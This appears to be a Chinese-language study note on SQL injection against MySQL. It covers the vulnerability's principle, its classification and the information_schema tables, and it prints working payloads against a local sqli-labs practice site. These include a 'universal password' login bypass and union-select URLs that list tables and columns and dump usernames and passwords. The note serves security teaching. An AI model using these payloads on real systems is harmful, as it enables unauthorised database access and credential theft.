SQL注入——MySQL數據庫基礎

SQL注入原理

  • SQL注入漏洞的本質
  • 把用戶輸入的數據當做代碼來執行,違背了“數據與代碼分離”的原則
  • SQL注入漏洞有兩個關鍵條件
  • 用戶能控制輸入的內容
  • Web應用把用戶輸入的內容帶入到數據庫中執行

SQL注入漏洞危害

  • 拖庫
  • get  shell

萬能密碼

  • SELECT * FROM admin WHERE Username='user' and Password='pass'
  • SELECT * FROM admin WHERE Username='1' or 1=1 # and Password='pass'

SQL注入分類

  • 根據請求方式不同
  • GET方式請求注入
  • POST方式請求注入
  • 根據sql注入點的參數類型
  • 整數型注入
  • 字符型注入
  • 搜索型
  • 根據sql注入點的反饋類型
  • union類型的sql注入     聯合查詢注入
  • 基於錯誤顯示的sql注入   報錯注入
  • 布爾類型的sql注入       布爾注入
  • 基於時間的sql注入      延時注入
  • 根據web應用常用的數據庫類型
  • Mysql數據庫注入
  • SQLServer數據庫注入
  • Oracle數據庫注入
  • Access數據庫注入
  • Mongodb
  • 根據sql語句類型分類
  • Select
  • Insert/update
  • delete

msyql數據庫基礎操作:

基礎常用命令

  • mysql -uroot -p 密碼

information數據庫

  • Schemata         
  • schema_name
  • Tables
  • table_schema  
  • table_name
  • select table_name from tables where table_schema='dvwa’;
  • select table_name from tables where
  • table_schema='security';
  • columns
  • TABLE_SCHEMA   
  • TABLE_NAME  
  • COLUMN_NAME   字段名

爆數據表

  • http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3

爆字段

  • http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'  ),3

數據拖庫

  • http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章